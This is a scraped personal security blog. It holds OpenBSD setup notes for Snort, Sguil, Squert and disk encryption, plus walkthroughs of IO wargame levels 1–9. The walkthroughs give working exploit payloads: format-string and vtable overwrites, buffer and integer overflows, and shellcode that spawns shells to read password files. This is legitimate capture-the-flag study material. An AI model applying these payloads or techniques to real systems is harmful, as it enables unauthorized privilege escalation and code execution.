Friday, October 18, 2013

Citadel’s Man-in-the-Firefox: An Implementation Walk-Through

Squert 1.1.5 on OpenBSD 5.3 with Nginx

A quick and dirty update to

Nginx with SSL and PHP

Add PHP package:

$ sudo pkg_add php-fpm

Create a self signed SSL certificate:

$ openssl genrsa -aes256 4096 > server.key
$ openssl req -sha256 -new -key server.key -out server.csr
$ openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
$ mv server.key /etc/ssl/private/
$ mv server.crt /etc/ssl/

Create a basic nginx configuration that redirects http to https and has PHP support:

$ cat /etc/nginx/nginx.conf                                                           
events { }

http {

    error_log     logs/nginx_error.log;
    include       mime.types;

    server {
        listen       80;
        return 301 https://$host$request_uri;

    server {
        listen       443 ssl;
        root         /var/www/htdocs;

        ssl_certificate      /etc/ssl/server.crt;
        ssl_certificate_key  /etc/ssl/private/server.key;

        location ~ \.php$ {
                fastcgi_param   SCRIPT_FILENAME $document_root$fastcgi_script_name;
                fastcgi_param   QUERY_STRING $query_string;
                include fastcgi_params;

Finishing touches (keep nginx turned off at boot due to SSL private key password prompt):

$ egrep 'nginx|php' /etc/rc.conf.local 
#nginx_flags=""          # for normal use: ""


Snort setup is similar to before:

$ sudo pkg_add snort
$ ftp
$  tar -zxvf emerging.rules.tar.gz
$ cd rules/
$ ls emerging*.rules | awk '{print "include $RULE_PATH/`hostname -s`/" $1}' > emerging.conf
$ sudo mkdir /etc/snort/rules/`hostname -s`
$ sudo cp emerging-*.rules /etc/snort/rules/`hostname -s`/
$ sudo cp emerging.conf /etc/snort/
$ sudo cp /etc/snort/
$ sudo cp classification.config /etc/snort/
$ sudo cp reference.config /etc/snort/
$ cd /var/snort/
$ sudo rmdir log
$ sudo mkdir `hostname -s`
$ sudo chown _snort:_snort `hostname -s`/

The following edits should be made to /etc/snort/snort.conf:

var HOME_NET external_ip/32
include emerging.conf
Comment out the VRT includes

Everything can be tested with:

$ sudo /usr/local/bin/snort -c /etc/snort/snort.conf -u _snort -g _snort -t /var
/snort -l /var/snort/`hostname -s`/

Configure Snort on boot:

$ grep snort /etc/rc.conf.local                                              
pkg_scripts="php_fpm snort"

Update /etc/rc.d/snort's daemon_flags to:

daemon_flags="-c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/snort/`hostname -s`"


Mysql is the same.

Sguil Server


Tcl is the same.


TclX is the same.


Mysqltcl is the same.


Slightly different:

$ sudo pkg_add tcltls
$ openssl req -out CA.pem -new -x509
$ openssl genrsa -out sguild.key 1024
$ openssl req -key sguild.key -new -out sguild.req
$ echo 01 > file.sr1
$ openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
$ sudo mkdir -p /etc/sguild/certs
$ sudo mv sguild.key sguild.pem /etc/sguild/certs/


Sguild is the same except that I forgot about adding a sguil user:

$ sudo sguild -adduser sguil 

Sguil Sensor


Snort_agent.tcl is the same.


In /etc/snort/snort.conf, add a unified2 output module:

output unified2: filename snort_log, limit 128

Get barnyard2 from

$ sudo pkg_add libtool
$ sudo pkg_add autoconf-2.69p0
$ export AUTOCONF_VERSION=2.69

$ unzip
$ ./
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5
$ make
$ sudo make install
$ sudo mkdir /var/log/barnyard2
$ sudo mkdir /etc/barnyard2
$ sudo cp /usr/local/etc/barnyard2.conf /etc/barnyard2/

Edit /etc/barnyard2/barnyard2.conf:

config daemon
config hostname: `hostname -s`
config interface: `interface_name`
output sguil: agent_port=7735, sensor_name=house

Comment out non-sguil outputs

Test like this:

$ sudo /usr/local/bin/barnyard2 -c /etc/barnyard2/barnyard2.conf -d /var/snort/house/ -f snort_log

Create /etc/rc.d/barnyard2:


. /etc/rc.d/rc.subr

rc_cmd $1

Edit /etc/rc.conf.local

barnyard2_flags="-c /etc/barnyard2/barnyard2.conf -d /var/snort/house/ -f snort_log

pkg_scripts="php_fpm snort mysqld sguild snort_agent barnyard2"


$ sudo pkg_add php-mysql-5.3.21
$ sudo ln -sf /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini

$ unzip
$ sudo mv squert-master /var/www/htdocs/squert/
$ cd /var/www/htdocs/
$ sudo cp squert/.inc/config.php.sample squert/.inc/config.php

In /var/www/htdocs/squert/.inc/config.php, update:

// DB Info
// Sguild Info
// Where are the rules? If you have multiple dirs, separate each with: ||
$rulePath = "/etc/snort/rules";

// DNS server to query
$dns = "";

Update /etc/my.cnf:

$ egrep 'group_concat|local-in' /etc/my.cnf

group_concat_max_len = 100000

Add some indexes to the sguildb:

$ mysql -N -B --user=root -p sguildb -e "CREATE INDEX sid ON history (sid);"
$ mysql -N -B --user=root -p sguildb -e "CREATE INDEX cid ON history (cid);"

Add new tables:

$ cat squert/.scripts/squert.sql | mysql -uroot -p -U sguildb

Give sguil user privileges to ip2c table:

$ mysql -N -B --user=root -p -e "GRANT ALL PRIVILEGES ON sguildb.ip2c TO 'sguil'@'localhost';"

To mapping table:

$ mysql -N -B --user=root -p -e "GRANT ALL PRIVILEGES ON sguildb.mappings TO 'sguil'@'localhost';"

To filters table:

$ mysql -N -B --user=root -p -e "GRANT INSERT,UPDATE,DELETE ON sguildb.filters TO 'sguil'@'localhost';"

Populate ip2c table:

$ cd squert/.scripts/
$ ip2c.tcl

Add an index to comment table:

$ mysql -N -B --user=root -p -e "CREATE INDEX comment ON sguildb.history (comment(50));"

Give delete permissions to sguil to comment table:

$ mysql -N -B --user=root -p -e "GRANT DELETE on sguildb.history to 'sguil'@'localhost';"

Add cronjobs to keep things updated:

*/5 * * * * /usr/local/bin/php-5.3 -e /var/www/htdocs/squert/.inc/ip2c.php 1 > /dev/null 2>&1
0 0 1 * *   /var/www/htdocs/squert/.scripts/ip2c.tcl > /dev/null 2>&1

Saturday, August 3, 2013

Full Disk Encryption on OpenBSD

Just some notes to myself on how to setup full disk encryption on Openbsd. Pretty much

1. Boot into install shell

2. fdisk -i sd0

3. disklabel -E sd0
a a (RAID)

4. bioctl -c C -l /dev/sd0a softraid0

install (use crypto disk, sd2)

IO Level 9

Level 9 from

Classic format string vulnerability.

Popping off 9 pointers from the stack positions things to point to the beginning of user controlled data (As, Bs, and Cs).

level9@io:/tmp/dennis9$ ./level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p.%p.%p.%p

Changing the last %p format specifier to a %hn (write the number of characters written so far to its respective argument) causes a nice segfault when trying to write to the unmapped address. The "h" modifier restrains the write to a short (2 bytes).

(gdb) run `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%p.%p.%p.%p.%p.%p.%hn"'`
Starting program: /tmp/dennis9/level09 `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%

Program received signal SIGSEGV, Segmentation fault.
0xb7ecbaf2 in vfprintf () from /lib/i386-linux-gnu/
(gdb) x/i $eip
=> 0xb7ecbaf2 <vfprintf+17954>: mov    %dx,(%eax)
(gdb) x/x $eax
0x43434343:     Cannot access memory at address 0x43434343
(gdb) info reg edx
edx            0x4f     79

The target address to overwrite will be main()'s saved return address. It will be overwritten in two parts: the lower word then the upper word.

(gdb) break 9
Breakpoint 8 at 0x8048483: file level09.c, line 9.
(gdb) break 10
Breakpoint 9 at 0x804848f: file level09.c, line 10.
(gdb) info frame
Stack level 0, frame at 0xbffffcc0:
 eip = 0x804848f in main (level09.c:11); saved eip 0x450039
 source language c.
 Arglist at 0xbffffcb8, args: argc=2, argv=0xbffffd64
 Locals at 0xbffffcb8, Previous frame's sp is 0xbffffcc0
 Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc
(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/dennis9/level09 `perl -e 'print "\xbc\xfc\xff\xbf" . "BBB
B" . "\xbe\xfc\xff\xbf" . "%p.%p.%p.%p.%p.%p.%hn.%p.%hn"'`

Breakpoint 8, main (argc=2, argv=0xbffffd64) at level09.c:9
9               printf(buf);
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0xb7e9ee16
(gdb) c

Breakpoint 9, main (argc=2, argv=0xbffffd64) at level09.c:11
11              return 0;
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x00450039

Since the address is being overwritten in two parts, two addresses are needed. The first %hn will overwrite the word starting at 0xbffffcbc with the number of characters written so far. The second %hn will overwrite the word starting at 0xbffffcbe, two bytes from the first one.

Now on to manipulating the number of characters printed to write an arbitrary value at the address. Specifying a minimum field width to a "%u" format specifier adds to the character count, so if the value 0x4141 is desired in the lower word, a format specifier like this will suffice (53 is the number of other characters already written).

(gdb) print /d 0x4141 - 53
$13 = 16652

For the upper word, if 0x6151 is desired, then the following (16652 from the previous math problem and 55 additional characters).

(gdb) print /d 0x6161 - 55 - 16652
$23 = 8222

(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x61614141

Next up is putting some shellcode into an environment and getting its address.

level9@io:/tmp/dennis9$ cat
nops = "\x90" * 50

# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x8

print nops + shellcode

level9@io:/tmp/dennis9$ cat level9e.c
#include <stdio.h>
/* progname must be the same length as level09 */

int main()
        char *envaddr;

        envaddr = getenv("EGG");
        printf("EGG is at %p\n", envaddr);

level9@io:/tmp/dennis9$ export EGG=`python`

level9@io:/tmp/dennis9$ /tmp/dennis9/le
EGG is at 0xbffffeaa

Finally, adjusting offsets for production. The number of stack pops required will change, the %u offsets will need to be recalculated and main()'s saved return address has to be adjusted.

level9@io:/tmp/dennis9$ /levels/level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p

(gdb) print /d 0xfeaa - 30
$1 = 65164

(gdb) print /d 0x1bfff - 32 - 65164
$2 = 49491

(gdb) run `perl -e 'print "\x5c\xfc\xff\xbf" . "BBBB" . "\x5e\xfc\xff\xbf" . "%p
(gdb) x/x 0xbffffc5c
0xbffffc5c:     0xbffffeaa
(gdb) x/i 0xbffffeaa
   0xbffffeaa:  nop

And outside of the the debugger.

level9@io:/tmp/dennis9$ /levels/level09 `perl -e 'print "\x5c\xfc\xff\xbf" . "BB
BB" . "\x5e\xfc\xff\xbf" . "%p.%p.%.65164u.%hn.%.49491u.%hn"'`
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(l
sh-4.2$ cat /home/level10/.pass

shhh don't snitch

Saturday, July 20, 2013

IO Level 8

Level 8 from

Uses operator overloading (TIL) which boils down to a normal virtual function.

The stack looks like this for a normal run:

(gdb) x/aw &five
0x804a008:      0x80488d8 <_ZTV6Number+8> -- five's virtual pointer (VPTR) to VTABLE
0x804a00c:      0x41414141 -- five.annotation[0]
0x804a010:      0x42424242
0x804a014:      0x0
0x804a06c:      0x0 -- five.annotation[99]
0x804a070:      0x5 -- five.number
0x804a074:      0x71 -- junk
0x804a078:      0x80488d8 <_ZTV6Number+8> -- six's VPTR to VTABLE
0x804a07c:      0x0 -- six.annotation[0]
0x804a0dc:      0x0 -- six.annotation[99]
0x804a0e0:      0x6 -- six.number
0x804a0e4:      0x20f21 -- junk

The VTABLE for both five and six looks like:

(gdb) x/aw 0x80488d8
0x80488d8 <_ZTV6Number+8>:      0x8048822 <Number::operator+(Number&)>

A pointer to the start of the overloaded operator function.

Here's what the border between five and six looks during an overflow:

(gdb) run `perl -e 'print "A" x 108 . "BBBB"'`
0x804a06c:      0x41414141 -- five.annotation[99]
0x804a070:      0x41414141 -- five.number
0x804a074:      0x41414141 -- junk
0x804a078:      0x42424242 -- six's VPTR
0x804a07c:      0x0 -- six.annotation[0]

The exploit theory for this one is more or less an implementation of  SMASHING C++ VPTRS (

Build a fake VTABLE in the beginning of the buffer with a function pointer pointing to the shellcode later in the buffer. Then overwrite six's VPTR
to point to the fake VTABLE in the beginning of the buffer. Here's some Python to create a template:

# fake vtable with a function pointer to shellcode
vtable_func_ptr = "X" * 4

# shellcode
shellcode = "\xCC" * 4

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtabke
vptr = "B" * 4

print vtable_func_ptr + shellcode + filler + vptr

The easiest way to track down the address of five (x) is to set a break point after its space is allocated (via new) and look in eax.

(gdb) disas main
Dump of assembler code for function main:
   0x08048694 <+0>:     push   %ebp
   0x080486b0 <+28>:    movl   $0x6c,(%esp)
   0x080486b7 <+35>:    call   0x80485bc <_Znwj@plt>
   0x080486bc <+40>:    mov    %eax,%ebx

(gdb) break *0x080486bc
Breakpoint 4 at 0x80486bc
(gdb) break *0x08048720
Breakpoint 5 at 0x8048720
(gdb) run `python`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level08 `python`

Breakpoint 4, 0x080486bc in main ()
(gdb) x/aw $eax
0x804a008:      0x0
(gdb) c

Breakpoint 5, 0x08048720 in main ()
(gdb) x/aw 0x804a008
0x804a008:      0x80488c8 >_ZTV6Number+8>
0x804a00c:      0x58585858

Now to hardcoded the addresses (ease of use) and add some shellcode:

# fake vtable with a function pointer to shellcode
#vtable_func_ptr = "X" * 4
vtable_func_ptr = "\x10\xa0\x04\x08"

# shellcode
#shellcode = "\xCC" * 4
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtable
#vptr = "B" * 4
vptr = "\x0c\xa0\x04\x08"

print vtable_func_ptr + shellcode + filler + vptr

Let's give it a whirl:

level8@io:/tmp/ds8$ /levels/level08 `python`
sh-4.2$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8),1029(nosu)
sh-4.2$ cat /home/level9/.pass
shhh don't snitch

Monday, June 24, 2013

Notes: Reversing VM

Some notes to myself on rebuilding my reversing VM from scratch:

  • VirtualBox
  • Windows 7
  • IDA Pro
  • Hex-Rays
  • Immunity Debugger
  • Wireshark
  • CFF Explorer
  • Process Hacker
  • Resource Hacker
  • apateDNS
  • Dbgview
  • hexedit
  • PEiD
  • strings
  • upx
  • idr - Interactive Delphi Reconstructor
  • pydbg
  • pefile
  • Sandbox that generates memdumps
  • Practical Malware Analysis
  • Grey Hat Python
  • The IDA Pro Book

IO Level 7

Level 7 from

count is a signed integer, so a negative integer can be passed in. If a very large negative integer is passed in, the math problem in the memcpy() will cause the int to wrap around, back to positive territory. Here are some debugging printfs to help visualize how many bytes are actually being copied in the memcpy():

level7@io:/tmp/ds7$ ./level07 -1073741815 blah
count: -1073741815 (0xc0000009) 3221225481
count * sizeof(int): 36 (0x00000024) 36
Not today son

Bruteforce offsets a bit to get things to line up:

(gdb) run -1073741813 `perl -e 'print "A" x 40 . "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/ds7/level07 -1073741813 `perl -e 'print "A" x 40 . "BBBB"'`
count: -1073741813 (0xc000000b) 3221225483
count * sizeof(int): 44 (0x0000002c) 44

Breakpoint 1, main (argc=3, argv=0xbffffd64) at level07.c:23
23              if(count == 0x574f4c46) {
(gdb) x/x &count
0xbffffcac:     0x42424242

Adjust offsets for production:

(gdb) run -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level07 -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x $ebp - 0xc
0xbffffc9c:     0x574f4c46

level7@io:/tmp/ds7$ /levels/level07 -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`
sh-4.2$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7),1029(nosu)
sh-4.2$ cat /home/level8/.pass
shhh don't snitch

IO Level 6

Level 6 from

Input templates:


If input is greater than 20, the strncpy() in prompt_name() will truncate the string and it won't slap on a \0.

In prompt_full_name(), after reading both prompts, first = first + last, so the first strcpy() will copy 39 bytes into full name, plus 1 space, then 19 more bytes from the second strcpy() (enough to overwrite EIP).

Note: Need to fill the first read()'s buffer completely, else the second read() will pick up where it left off, mucking things up. New input template:

perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x01\x02\x03\x04C\n"' > in

Put shellcode into EGG environment variable, shellcode was very picky (no actual shells allowed):

level6@io:/tmp/dennis6$ cat
my $nops = "\x90" x 50;

#dennis@ipa:~/msf3$ ./msfvenom -p linux/x86/exec -f pl -b '\x00' CMD='cat /home/level7/.pass'
#[*] x86/shikata_ga_nai succeeded with size 85 (iteration=1)

my $sc =
"\xdb\xd3\xd9\x74\x24\xf4\xbb\xc6\x34\x4f\xa3\x58\x29\xc9" .
"\xb1\x0f\x31\x58\x19\x83\xe8\xfc\x03\x58\x15\x24\xc1\x25" .
"\xa8\xf0\xb3\xe8\xc8\x68\xe9\x6f\x9c\x8f\x99\x40\xed\x27" .
"\x5a\xf7\x3e\xd5\x33\x69\xc8\xfa\x96\x9d\xdd\xfc\x16\x5e" .
"\x81\x9d\x62\x7e\x6a\x35\xe4\x13\x11\xea\x96\x8e\xaf\x91" .
"\x0a\x66\x7f\x77\xa3\xe9\x0c\xf4\x43\xbd\xa1\x73\xa2\x8c" .

print $nops.$sc

level6@io:/tmp/dennis6$ export EGG=`perl`

Get address of the EGG environment variable:

level6@io:/tmp/dennis6$ cat le.c

/* progname must be the same length as /levels/level06 */

int main()
        char *envaddr;

        envaddr = getenv("EGG");
        printf("EGG is at %p\n", envaddr);

>>> len("/levels/level06")
>>> len("/tmp/dennis6/le")

level6@io:/tmp/dennis6$ ./le
EGG is at 0xbffffe97

Adjust the input template with return address:

level6@io:/tmp/dennis6$ perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x97\xfe\xff\xbfC\n"' > exp

level6@io:/tmp/dennis6$ /levels/level06 < exp
Please enter your first name:
Please enter your last name:
shhh don't snitch

IO Level 5

Level 5 of

level5@io:/tmp/dennis5$ cat 
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

nops = "A" * (140 - len(shellcode))

# start of buf, from gdb
ret = "\xe0\xfb\xff\xbf"

print "%s" % nops + shellcode + ret

level5@io:/tmp/dennis5$ /levels/level05 `python`
                     ? N?1??@??????/bin/sh????
sh-4.1$ id            ?
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/.pass
shhh don't snitch

IO Level 4

Level 4 of

level4@io:~$ cd /tmp/dennis
level4@io:/tmp/dennis$ cat id
cat /home/level5/.pass
level4@io:/tmp/dennis$ export PATH=.:$PATH
level4@io:/tmp/dennis$ /levels/level04
shhh don't snitch

IO Level 3

Level 3 of

level3@io:/levels$ ./level03 `python -c 'print "A" * 80'`
This is exciting we're going to 0x41414141
Segmentation fault
level3@io:/levels$ ./level03 `python -c 'print "A" * 76 + "\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
sh-4.1$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.1$ cat /home/level4/.pass
shhh don't snitch

IO Level 2

Level 2 of

level2@io:/levels$ ./level02_alt NAN
sh-4.1$ id    
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1003(level3),1002(level2),1029(nosu)
sh-4.1$ cat /home/level3/.pass
shhh don't snitch

IO Level 1

Level 1 of

level1@io:/levels$ strings -el level01
level1@io:/levels$ ./level01 SecretPW

You will find the ssh password for level2 in /home/level2/.pass

sh-4.1$ cat /home/level2/.pass
shhh don't snitch

Signals #1-4

I'm putting Gera's Signals #1-4 on hold indefinitely. I gave them the ol' college try, but didn't make much progress after multiple attempts.

If anyone has anything on these, please ping me.

Up next, WARNING: there will be spoilers!


A couple of 9-5 things: